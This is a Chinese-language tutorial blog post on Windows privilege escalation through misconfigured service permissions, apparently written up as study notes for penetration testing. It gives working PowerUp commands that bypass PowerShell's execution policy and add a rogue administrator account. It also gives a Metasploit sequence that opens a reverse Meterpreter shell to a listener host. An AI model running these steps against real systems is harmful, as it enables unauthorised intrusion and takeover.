【内网学习笔记】15、系统服务权限配置不当利用


PowerUp

PowerUp 可以用来寻找目标中权限配置不当的服务,下载地址:https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1

在 PowerShell 中导入并执行脚本

Import-Module .\PowerUp.ps1
Invoke-AllChecks

如果 PowerShell 由于处在受限模式以至于无法导入脚本,可以使用以下命令绕过。

powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.ps1;Invoke-AllChecks}"
PS C:\Users\teamssix\Desktop> powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.ps1;Invoke-AllChecks}"

[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges...
[+] User is in a local group that grants administrative privileges!
[+] Run a BypassUAC attack to elevate privileges to admin.

[*] Checking for unquoted service paths...

[*] Checking service executable and argument permissions...

ServiceName    : MongoDB
Path           : C:\Web\mongodb\bin\mongod.exe --auth --config C:\Web\mongodb\mongod.conf --s
                 ervice
ModifiableFile : C:\Web\mongodb\mongod.conf
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -ServiceName 'MongoDB'

由于结果可能比较长,因此也可以将其保存到 txt 文件里,方便查看

powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.ps1;Invoke-AllChecks | Out-File -Encoding ASCII result.txt}"

从检查的结果可以看出 MongoDB 服务存在漏洞,利用 Install-ServiceBinary 模块,通过 PowerUp 利用该处权限配置不当添加管理员用户。

powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.ps1;Install-ServiceBinary -ServiceName 'MongoDB' -UserName test -Password Passw0rd}"
PS C:\Users\teamssix\Desktop> powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.ps1;Install-ServiceBinary -ServiceName 'MongoDB' -UserName test -Password Passw0rd}"

ServiceName                   ServicePath                   Command                       BackupPath
-----------                   -----------                   -------                       ----------
MongoDB                       C:\Web\mongodb\bin\mongod...  net user test Passw0rd /ad... C:\Web\mongodb\bin\mongod...

重启系统,查看用户,发现 test 已经被添加到管理员组了。

PS C:\Users\teamssix\Desktop> net user test
用户名                 test
全名
……
本地组成员             *Administrators       *Users
全局组成员             *None
命令成功完成。

Metasploit

在 MSF 中,先看下已上线主机的权限

meterpreter > getuid
Server username: TEAMSSIX\dev

MSF 中对应服务权限配置不当的利用模块是 exploit/windows/local/service_permissions

利用步骤如下:

use exploit/windows/local/service_permissions
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.7.1
set lport 4444
set session 1
run

可以看到会话直接被提升到了 SYSTEM 权限。

参考文章:

https://evi1cg.me/archives/Powerup.html

更多信息欢迎关注我的微信公众号:TeamsSix


文章作者: TeamsSix
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 TeamsSix !
评论
  目录